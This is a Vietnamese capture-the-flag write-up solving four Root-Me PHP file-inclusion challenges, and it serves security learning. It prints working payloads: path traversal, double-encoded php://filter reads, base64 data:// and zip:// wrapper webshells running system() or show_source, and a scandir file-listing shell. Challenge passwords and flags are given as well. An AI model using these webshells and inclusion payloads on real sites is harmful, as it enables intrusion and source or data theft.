**Thử thách thứ 1: Local File Inclusion:**

Mục tiêu là vào được trang quản trị. Để làm được điều này, mình phải có tk và mk của admin.

Mình thấy có rất nhiều file. Và chắc chắn sẽ ko tìm đc tk admin từ các file này (vì đây chắc chắn là cú lừa của bài toán)

Chắc chắn nó nằm ở 1 file ẩn nào đó trong root.

Bài toán này có thể nhận 2 tham số: files và f

Nếu mình resquest url sau: http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html 🡪 nó sẽ đọc file index.html

**=>** Chắc chắn một điều files là tên thư mục và f là tên file.

Đối với 1 bài toán có nhiều thư mục và file như vậy, khả năng cao sẽ là path traversal.

Mình sẽ request như sau:

/web-serveur/ch16/?files=sysadm/../

(Ở đây mình lưu ý chút là ../ sẽ ở sau thư mục và trước tập tin nha.)

🡪 Thành công **=>** Thư mục cha của sysadm sẽ chứa các thư mục như sysadm, reseau, espirit,..

Mình thử lùi về thêm 1 thư mục nữa

🡪 Kết quả là mình thấy thư mục admin và file index.php

Mình nhấp thử thì thấy **File:admin** không hiện ra gì cả.

Thì rất có thể admin chính là thư mục

Mình sẽ thử yêu cầu url sau để truy cập file trong admin:

web-serveur/ch16/?files=sysadm/../../admin thì thấy 1 file index.php khác

🡪 Thành công tk là admin và pass: OpbNJ60xYpvAQU8

**Thử thách thứ 2: Local File Inclusion- Double Encoding:**

Mục tiêu bài này là tìm được mk trong file nguồn của trang. Cũng là kĩ năng đọc file.

Bài này trước mắt cho mình đọc được 3 file là home, cv, contact.

Mình phải yêu cầu url sau: web-serveur/ch45/index.php?page=cv

Mình thử một đối số khác: ch45/index.php?page=/etc/passwd

Nó báo attack detected. Mình sẽ double encode dot (%252E) và backslash (%252F)

Nó báo rất nhiều lỗi.

include(): open\_basedir restriction in effect. File(/etc/passwd.inc.php) is not within the allowed path(s): (/challenge/web-serveur/ch45:/tmp) in <b>/challenge/web-serveur/ch45/index.php

include(/etc/passwd.inc.php): failed to open stream: Operation not permitted in <b>/challenge/web-serveur/ch45/index.php</b> on line <b>7

include(): Failed opening '/etc/passwd.inc.php' for inclusion (include\_path='.:/usr/share/php') in <b>/challenge/web-serveur/ch45/index.php</b> on line <b>7

Mình bắt đầu phân tích lỗi:

thử với tham số abc thì abc.inc.php mình nghĩ là ứng dụng tự thêm đuôi cho tham số

thử tiếp với cv%252Einc%252Ephp%00 để bỏ đuôi ứng dụng tự thêm

Nó đã báo ít lỗi hơn:

include(): Failed opening 'cv.inc.php' for inclusion (include\_path='.:/usr/share/php') in <b>/challenge/web-serveur/ch45/index.php

Sau khi mình tìm hiểu lỗi này, thì hiểu là ứng dụng không cho phép null byte.

Chính xác là ứng dụng không cho phép chạy bất kì file khác trừ home,cv,contact

Thứ hai nữa là bài này không có quá nhiều thư mục nên path traversal là không thể.

Bài này mất rất nhiều thời gian để fuzz hay tìm hiểu lỗi.

Mình thấy cách khai thác cơ bản không thành công🡪 thử với php wrappers

Để khai thác lfi hiệu quả , họ hay dùng php filter.

Rút kinh nghiệm từ các lần fuzz trc, mình sẽ chỉ thử với file cv,home thôi.

Payload sẽ là:

/web-serveur/ch45/index.php?page=php:%252f%252ffilter%252fconvert%252ebase64-encode%252fresource=cv

Kết quả sẽ là chuỗi được mã hóa base-64. Thử encode ra

<?php include("conf.inc.php"); ?>

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>J. Smith - CV</title>

</head>

<body>

<?= $conf['global\_style'] ?>

<nav>

<a href="index.php?page=home">Home</a>

<a href="index.php?page=cv" class="active">CV</a>

<a href="index.php?page=contact">Contact</a>

</nav>

<h1><?= $conf['contact']['firstname'] ?> <?= $conf['contact']['lastname'] ?></h1>

<h3>Professional doer</h3>

<?= $conf['cv']['gender'] ? "Male" : "Female" ?><br>

<?= date('Y/m/d', $conf['cv']['birth']) ?> (<?= date('Y')-date('Y', $conf['cv']['birth']) ?>)

<?php

foreach ($conf['cv']['jobs'] as $job) {

?>

<div class="job">

<h4><?= $job['title'] ?> - <span class="date"><?= $job['date'] ?></span></h4>

</div>

<?php

}

?>

</body>

</html>

Điểm đáng chú ý là ngoài cv, home, contact hay index.php thì còn có 1 file khác là conf.inc.php

Mình thử đọc source nó thử bằng php filter luôn

🡪 Flag: Th1sIsTh3Fl4g!

**Thử thách 3: Remote File Inclusion:**

Mục tiêu: là lấy được source php. Nhớ là file source ko phải lúc nào cũng là index.php nha.

Bài này lỗi rất giống với bài trên. Nhưng ứng dụng thêm đuôi khác là \_lang.php.

Do mình vẫn không bt cách xử lí lỗi này hay up web shell gì nên làm rất mất tg.

Rõ ràng cách khai thác cơ bản là không thành công.

Thử với PHP filter thì mình mới bt là nó chỉ dành cho lfi.

Mình bối rối quá ko bt rfi xử lí sao.

Nó cứ báo lỗi

include(): Failed opening 'cv.inc.php' for inclusion (include\_path='.:/usr/share/php') in <b>/challenge/web-serveur/ch45/index.php

Mình chơi may rủi thử các payload của wrapper trên “payloads all the thing” vào thì

Oh my god!

Payload: data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

NOTE: the payload is "<?php system($\_GET['cmd']);echo 'Shell done !'; ?>"

Nó đã báo một lỗi khác.

Warning: system() has been disabled for security reasons in data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=\_lang.php on line 1

Shell done !%jx)

Chưa làm ra nhưng đã có 1 hi vọng mới. Ứng dụng đã xử lí yêu cầu thành công.

Lệnh system() không thực thi được vì lí do bảo mật.

Mình thử với các lệnh khác như: execute(), shell\_exec(), passthru(),

show\_source(), proc\_open(), pcntl\_exec(), eval() và assert()

thì function show\_source(‘index.php’) thành công (nhớ mã hóa base-64 nha)

Payload cuối cùng là:

/web-serveur/ch13/?lang=data://text/plain;base64,

PD9waHAgc2hvd19zb3VyY2UoJ2luZGV4LnBocCcpOyA/Pg==

Boom! Flag là R3m0t3\_iS\_r3aL1y\_3v1l

**Thử thách cuối cùng: Local File Inclusion: Wrappers**

Mục tiêu: lấy đc flag

Đầu tiên, nó cho mình upload file, nếu muốn up phải yêu cầu với url sau : POST /web-serveur/ch43/index.php?page=upload, nếu up thành công thì xem hình ảnh bằng url:

GET /web-serveur/ch43/index.php?page=view&id=ol7LbIsgO và file sẽ được lưu ở thư mục /tmp/upload/ol7LbIsgO.jpg

Bài này rất giống với mấy bài trước , khai thác cơ bản là không được🡪 PHP Wrappers

Mà ứng dụng tự thêm đuôi .php

filter, input ko dùng được vì bị chặn php rồi.

?page=data:// text/plain;base64,

PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

payload là : "<?php system($\_GET['cmd']);echo 'Shell done !'; ?>"

thì biến page lại quá dài ☺ .

expect thì không được máy chủ cấu hình.

Mình thử làm giống DVWA file uploads high. Upload 1 file polygot có php code.

Rồi kích hoạt nó bằng file inclusion ?page=file/../../../tmp/upload/ol7LbIsgO.jpg

🡪 không thành công vì .jpg.php và nó chặn .. (path traversal)

Cách cuối cùng là zip wrapper.

**Tạo 1 webshell s.php: <?php system($\_GET(‘command’))?>**

**zip s.zip s.php**

**mv s.zip rabbit.jpeg**

/index.php?zip://tmp/upload/ol7LbIsgO.jpg%23s.php

Cấu trúc: zip://đường dẫn đến file zip(hình ảnh)#file trong zip

Nó đã báo lỗi khác: ko system đc vì lí do bảo mật, tương tự với passthru,shell\_exec, execute chỉ có showsource là đc.

Thay đổi webshell <?php show\_source(‘index.php’)?>

Mình đọc thử file index, upload, view nhưng ko có flag ☹

Mình phải tìm cách liệt kê các file trong thư mục bằng php mà ko cần thực thi lệnh. (scandir)

webshell là: <?php

$dir=".";

$scan = scandir($dir);

foreach($scan as $file){

echo $file;

}

?>

....\_nginx.http-level.inc.\_nginx.server-level.inc.\_perms.\_php-fpm.pool.inc.\_run.git.gitignoreflag-mipkBswUppqwXlq9ZydO.phpindex.phptmpupload.phpview.php

Webshell cuối cùng là:

<?php show\_source(‘flag-mipkBswUppqwXlq9ZydO.php’)

Thành công flag là “lf1-Wr4pp3r\_Ph4R\_pwn3d”